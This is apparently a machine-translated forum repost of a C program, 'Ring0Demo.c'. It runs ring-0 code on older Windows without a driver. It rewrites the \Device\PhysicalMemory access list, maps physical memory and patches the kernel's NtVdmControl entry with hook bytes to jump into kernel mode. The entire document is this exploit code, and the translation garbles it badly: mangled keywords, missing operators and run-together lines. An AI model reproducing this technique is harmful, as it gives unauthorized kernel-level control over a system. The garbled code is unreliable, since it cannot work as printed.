ZZZEVAZZZ gives it a good stuff, not to put it up, unfortunately:
Changed the code to call the PFNMemcpy. Direct calls Memcpy. Thank for your share ...
// ******************************************************** ***********************
// Ring0Demo.c v1.0 by zzzevazzz
// Purpose: Demonstrate no drive execution Ring0 code.
// Principle: Modify the NTVDMControl entry through / device / physicalmemory, jump to Ring0Code
// ******************************************************** ***********************
#include
#include
#include
#include
#pragma comment (lib, "ntdll.lib") // Copy from DDK
#pragma comment (lib, "kernel32.lib")
#pragma comment (Lib, "Advapi32.lib")
// ------------------ Data type statement begins ------------------ //
Typedef struct _system_module_information {
Ulong reserved [2];
Pvoid Base;
Ulong size;
Ulong flags;
USHORT INDEX;
Ushort unknown;
Ushort loadcount;
Ushort modulenameoffset;
Char imagename [256];
} System_module_information, * psystem_module_information;
Typedef struct _object_attributes {
Ulong Length;
Handle rootdirectory;
Punicode_String ObjectName;
Ulong attributes;
PVOID SecurityDescriptor;
Pvoid SecurityQualityOfService;
} Object_attributes, * pobject_attribute;
Typedef enum _section_inherit {
Viewshare = 1,
ViewUnmap = 2
} Section_inherit;
Typedef struct_my_process_info {
Ulong PID;
Ulong KPEB;
Ulong cr3;
CHAR Name [16];
Ulong reserved;
} My_process_info, * PMY_PROCESS_INFO;
TypedEf long NTSTATUS;
// ------------------ Data type declaration end ------------------ //
// ------------------------------------------- / /
#define nt_success (status) (status)> = 0)
#define status_success 0x000000000000
#define status_unsuccessful 0xc0000001
#define status_not_implement 0xc0000002 # Define Status_info_length_mismatch 0xc0000004
#define status_INValid_Parameter 0xC000000D
#define status_access_denied 0xc0000022
#define status_buffer_too_small 0xc0000023
#define obj_kernel_handle 0x00000200
#define systemmoduleInformation 11
#define InitializeObjectAttributes (p, n, a, r, s) {(p) -> length = sizeof (object_attributes); (P) -> rootdirectory = r; (p) -> attributes = a; (p) -> Objectname = n; (p) -> securityDescriptor = s; (p) -> securityQualityofService = null;}
// --------------------------------------------- / /
// ------------------ Native API statement begins ------------------ //
NTSYSAPI
Void
NTAPI
RtlinitunicodeString
Punicode_string destinationString,
PCWSTR SOURCESTRING
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation
Ulong SystemInformationClass,
PVOID SystemInformation,
Ulong SystemInformationLength,
Pulong ReturnLength
);
NTSYSAPI
NTSTATUS
NTAPI
ZWOPENSECTION
Out phandle sectionhandle,
IN Access_mask desidaccess,
In POBJECT_ATTRIBUTES OBJECTATTRIBUTES
);
NTSYSAPI
NTSTATUS
NTAPI
ZWMapViewOfsection
In Handle SectionHandle,
In Handle ProcessHandle,
In Out Pvoid * BaseEaddress,
In Ulong ZeroBITS,
In Ulong Commitsize,
In Out Plarge_integer SectionOffset Optional,
In Out Polong Viewsize,
In section_inherit inheritdisposition,
In Ulong AllocationType,
In Ulong Protect
);
NTSYSAPI
NTSTATUS
NTAPI
ZwunmapViewOfsection
In Handle ProcessHandle,
In Pvoid Baseaddress
);
NTSYSAPI
NTSTATUS
NTAPI
ZWClose
In Handle Handle
);
NTSYSAPI
NTSTATUS
NTAPI
NTVDMControl
In Ulong Controlcode,
In Pvoid ControlData
);
// ------------------ Native API declaration end ---------------- //// ---- -------------- global variable definition begins ------------------ //
NTSTATUS
(NTAPI * PFNNTVDMControl)
In Ulong Controlcode,
In Pvoid ControlData
);
Boolean
(NTAPI * PFNPSGETVERSION)
Pulong Majorversion Optional,
Pulong MinorvelSION OPTIONAL,
Pulong BuildNumber Optional,
Punicode_String Csdversion Optional
);
Handle
(NTAPI * PFNPSGETCURRENTPROCESSID)
);
Pvoid
(NTAPI * PFNMEMCPY)
In Void Unaligned * Destination,
In Const void Unaligned * SOURCE,
In size_t length
);
Ulong
(_CDECL * pfndbgprint) (
In Pchar Format,
...
);
Ulong * ppsinitialsystemprocess;
// ------------------ global variable definition end ------------------ //
/ / Get the base address of the specified module
Pvoid getModuleBase (PCSTR Name)
{
NTSTATUS STATUS;
PVOID PBUFFER, PMODULE;
Ulong nretsize, i, n;
Psystem_module_information PMI;
PBuffer = Localalloc (LPTR, 0X1000);
IF (NULL == PBuffer)
{
Printf ("LocalalAlloc [0] FAILED:% D / N", getLastError ());
Return NULL;
}
Status = ZwQuerySystemInformation (SystemModuleInformation, PBuffer, 0x1000, & nretize);
IF (status_info_length_mismatch == status)
{
// The buffer is too small, redistributed
LocalFree;
PBuffer = Localalloc (LPTR, NRETSIZE);
IF (NULL == PBuffer)
{
Printf ("LocalalAlloc [1] FAILED:% D / N", getLastError ());
Return NULL;
}
Status = ZwQuerySystemInformation (SystemModuleInformation, PBuffer, Nretsize, & nretsize);
}
IF (! NT_Success (status))
{
Printf (ZwQuerySysteminformation Failed:% D / N ", LsantStatustowiner (status);
LocalFree;
Return NULL;
}
PMI = (psystem_module_information) ((Ulong) PBuffer 4);
n = * (ulong *) PBuffer;
PModule = NULL;
/ / Search the specified module name to get the base address
For (i = 0; i IF (! _> imagename PMI-> ModulenameOffset, Name)) { PModule = PMI-> Base; Break; } PMI ; } LocalFree; Return PModule; } // Get / Device / PhysicalMemory readable write handle Handle OpenPhysicalMemory () { DWORD DWRET; NTSTATUS STATUS; Unicode_String Name; Object_attributes oa; EXPLICIT_ACCESS EA; PSecurity_Descriptor PSD; PACL PDACL = NULL; PACL PNEWDACL = NULL; Handle hsection = NULL; Handle HsectionRet = NULL; RTLinitunicodeString (& Name, L "// device // physicalmemory"); InitializeObjectAttributes (& Oa, & Name, Obj_kernel_handle, null, null); // Open PhysicalMemory with readable section permissions Status = zwopensection (& hsectionret, section_map_read | section_map_write, & oa); IF (nt_success (status)) goto freeandexit; // Opened success, return directly IF (status! = status_access_denied) { // Error, but non-authorized, open failure Printf ("Zwopensection [0] FAILED:% D / N", LsantStatustowiner (Status)); HsectionRet = NULL; Goto freeandexit; } // Open PhysicalMemory with readable and writing ACL permissions Status = zwopensection (& HSECTION, READ_CONTROL | WRITE_DAC, & OA); IF (! NT_Success (status)) { Printf ("Zwopensection [1] Failed:% D / N", LSANTSTATUSTOWINERROR (STATUS)); Goto freeandexit; } / / Get the DAMical Memory DACL DWRET = GetSecurityInfo (HSECTION, SE_KERNEL_Object, DACL_SECURITY_INFORMATION, NULL, NULL, & PDACL, NULL, & PSD; IF (dwret! = error_success) { Printf ("GetSecurityInfo Failed:% D / N", DWRET); Goto freeandexit; } // Create an ACE, allow the current user to read and write PhysicalMemory ZeromeMory (& EA, SIZEOF (EXPLICIT_ACCESS)); EA.GRFACCESSPERMISSIONS = section_map_read | section_map_write; Ea.grfaccessmode = Grant_Access; Ea.grfinheritance = no_inheritance; Ea.trustee.trusteeform = trustee_is_name; EA.TRUSTEE.TRUSTEETEETYPE = trustee_is_user; Ea.trustee.ptStrName = "current_user"; // Add new Ace to DACL DWRET = STENTRIESINACL (1, & EA, PDACL, & PNEWDACL); IF (dwret! = error_success) { Printf ("STENTRIESINACL FAILED:% D / N", DWRET; Goto freeandexit; } / / Update PhysicalMemory's DACL DWRET = setsecurityInfo (HSECTION, SE_KERNEL_Object, DACL_SECURITY_INFORMATION, NULL, NULL, PNEWDACL, NULL; IF (dwret! = error_success) { Printf ("SetSecurityInfo Failed:% D / N", DWRET); Goto freeandexit; } // Open PhysicalMemory again with readable and write permissions Status = zwopensection (& hsectionret, section_map_read | section_map_write, & oa); IF (! NT_Success (status)) { Printf ("Zwopensection [2] Failed:% D / N", LSANTSTATUSTOWINERROR (STATUS); Goto freeandexit; } Freeandexit: IF (PSD) LocalFree (PSD); IF (PNewDACL) LocalFree (PNEWDACL); IF (HSECTION) ZWClose (HSECTION); Return HsectionRet; } // map physical memory to the user space of the current process PVOID MAPPHYSICALMORY (Handle HSECTION, // Physical Memory Section Handle Ulong Offset, // Mapping start offset, 0 address relative to physical memory Ulong commitsize // mapping range ) { NTSTATUS STATUS; Pvoid Baseaddress = NULL; Large_integer physicaladdress = {offset, 0}; SIZE_T ViewSize = Commitsize; Status = ZWMapViewOfsection (HSECTION, (Handle) -1, & BaseAddress, 0, Commitsize, & PhysicalAddress, & viewsize, viewshare, 0, page_readwrite; IF (! NT_Success (status)) { Printf ("ZWMapViewOfsection Failed:% D / N", LsantStatustowiner (Status); Return NULL; } Return Baseaddress; } // The code executed in RING0. Here you demonstrate how to get PID, KPEB, CR3, and Imagename of each process. NTSTATUS RING0CODE (Ulong size, / / buffer size pulong buffer) // buffer pointer, pointing to the cache assigned by the caller / / The number of parameters is consistent with NTVDMControl to balance the stack. { Ulong buildnumber; Ulong Listoffset; Ulong pidoffset; Ulong nameoffset; PLIST_ENTRY LISTHEAD, LISTPTR; PMY_PROCESS_INFO MYPI; PfndBgPrint ("run in ring0! / n"); // Output debugging information Pfnpsgetversion (NULL, NULL, & BuildNumber, NULL); PfndBGPrint ("BuildNumber =% D / N", BuildNumber; Switch (buildnumber) // all version OS KPEB structure is different { Case 2195: // Win2000 Listoffset = 0xA0; Pidoffset = 0x9c; NameOffset = 0x1fc; Break; Case 2600: // WinXP Listoffset = 0x88; Pidoffset = 0x84; NameOffset = 0x174; Break; Case 3790: // Win2003 Listoffset = 0x88; Pidoffset = 0x84; NameOffset = 0x154; Break; DEFAULT: Return status_not_implement; } IF (SIZE <4) Return status_buffer_too_small; SIZE - = 4; IF (null == buffer) Return status_INVALID_PARAMETER; * buffer = 0L; // The first ULONG cached is used to save the total number of processes MYPI = (PMY_PROCESS_INFO) (Buffer 1); // Calendal ActiveProcessLinks Listhead = listptr = (PLIST_ENTRY) (* ppsinitialsystemProcess ListOffset); While (listptr-> flink! = listhead) { IF (SIZE MYPI-> KPEB = (ULONG) listptr - listoffset MYPI-> PID = * (ulong *) (MyPi-> KPEB PIDOFFSET); MYPI-> CR3 = * (Ulong *) (MyPi-> KPEB 0x18); // pfnmemcpy (mypi-> name, (pvoid) (MYPI-> KPEB NameOffset, 16); Memcpy (MYPI-> Name, (PVOID) (MYPI-> KPEB NameOffset, 16); (* buffer) ; MYPI ; Size - = sizeof (my_process_info); Listptr = listptr-> flink; } Return status_success; } // Display process information Void ListProcessInfo (pulong buffer) { Ulong i, n = * buffer; PMY_PROCESS_INFO MyPi = (PMY_PROCESS_INFO) (Buffer 1); Printf ("PID KPEB CR3 NAME / N" "---- -------- ---------- / n"); For (i = 0; i { Printf ("% -4d% 08x% 08x% s / N", MYPI-> PID, MYPI-> KPEB, MYPI-> CR3, MYPI-> NAME); MYPI ; } } void main () { Char * kernel = "ntoskrnl.exe"; Pvoid Pkernel = NULL; HModule Hkernel = NULL; Handle hsection = NULL; Char * mapping = null; PVOID BUFFER = NULL; Ulong offset; NTSTATUS STATUS; Char Origcode [24], hookcode [24] = "/ Xe8 / XFF / XFF / XFF / XFF" // Call 0xfffffffff; NT! PsgetCurrentProcessid "/ x3d / xee / XEE / XEE / XEE" // CMP EAX, 0xeeeeeee; ourselves "/ x75 / x05" // JNE $ 5 "/ xe9 / xdd / xdd / xdd / xdd" // jmp 0xddddddddd; ring0code "/ xb8 / x01 / x00 / x00 / xc0" // MOV EAX, 0xC000000001; Status_unsuCcessful "/ xc3"; // RET Printf ("/ n - = / / Get the base address of the system core module ntoskrnl.exe pkernel = getModuleBase (kernel); IF (NULL == Pkernel) Return; IF ((Ulong) pkernel <0x80000000 || (ULONG) Pkernel> 0x9ffffff) { // Module base exceeds the direct memory mapping range Printf ("Error: kernel module base (% 08x) is out of range./n", pkernel); Return; } // load a Ntoskrnl.exe in the user state Hkernel = loadLibrary (kernel); IF (null == hkernel) { Printf ("LoadLibrary Failed:% D / N", getLastError ()); Return; } // Get the relative position of the kernel routine / variable in the user IF ((pfnmemcpy = (pvoid) GetProcaddress (Hkernel, "Memcpy") && (pfndbgprint = (pvoid) GetProcaddress (Hkernel, "DBGPRINT") && (PfnntvdmControl = (pvoid) GetProcaddress (Hkernel, "NTVDMControl") && (pfnpsgetversion = (pvoid) GetProcaddress (Hkernel, "psgetversion") && (pfnpsgetcurrentprocessid = (pvoid) GetProcaddress (Hkernel, "psgetcurrentprocessid") && (ppsinitialsystemprocess = (pvoid) getProcaddress (Hkernel, "psinitialsystemprocess")))))) Else { Printf ("GetProcadDress Failed:% D / N", getLastError ()); Goto freeandexit; } / / Calculate the actual address of the kernel routine / variable OFFSET = (ulong) Pkernel - (ULONG) Hkernel; (Ulong) pfnmemcpy = offset (Ulong) pfndbgprint = offset; (Ulong) PfnntvdmControl = offset; (Ulong) Pfnpsgetversion = offset (Ulong) PfnpsgetCurrentProcessid = offset (Ulong) PPSinitialsystemProcess = offset; // Set hookcode * (Ulong *) (hookcode 1) = (ulong) PfnpsgetCurrentProcessID - (ULONG) PFNNTVDMCONTROL - 5; * (Ulong *) (hookcode 6) = getCurrentProcessId (); * (Ulong *) (hookcode 13) = (ulong) Ring0Code - (ULONG) PFNNTVDMCONTROL - 17; // Open physical memory section HSECTION = OpenPhysicalMemory (); IF (null == hsection) goto freeandexit; / / Map memory near NTVDMControl entry OFFSET = (ulong) PFNNTVDMCONTROL & 0x1FFFF000; // Convert to physical memory page address Mapping = mapphysicalmemory (HSECTION, OFFSET, 0X2000); IF (null == mapping) goto freeandexit; / / Save NTVDMControl entry code OFFSET = (ulong) PFNNTVDMCONTROL & 0x00000FFF; // Interface Memcpy (Origcode, Mapping Offset, 24); Buffer = Localalloc (LPTR, 0X1000); IF (null == buffer) { Printf ("Localalloc Failed:% D / N", getLastError ()); Goto freeandexit; } Memcpy (Mapping Offset, Hookcode, 24); // Hook NTVDMControlStatus = NTVDMControl (0x1000, Buffer); // Call NTVDMControl, enter Ring0 Memcpy (Mapping Offset, Origcode, 24); // Restore NTVDMControl entry IF (! NT_Success (status)) { Printf ("NTVDMControl Failed:% D / N", LSANTSTATUSTOWINERROR (STATUS)); Goto freeandexit; } ListProcessInfo (buffer); Freeandexit: IF (buffer! = null) Localfree (buffer); IF (mapping! = null) zwunmapViewofsection (HSECTION, MAPPING); IF (hsection! = null) zwclose (HSECTION); IF (Hkernel! = null) Freelibrary (Hkernel); } ---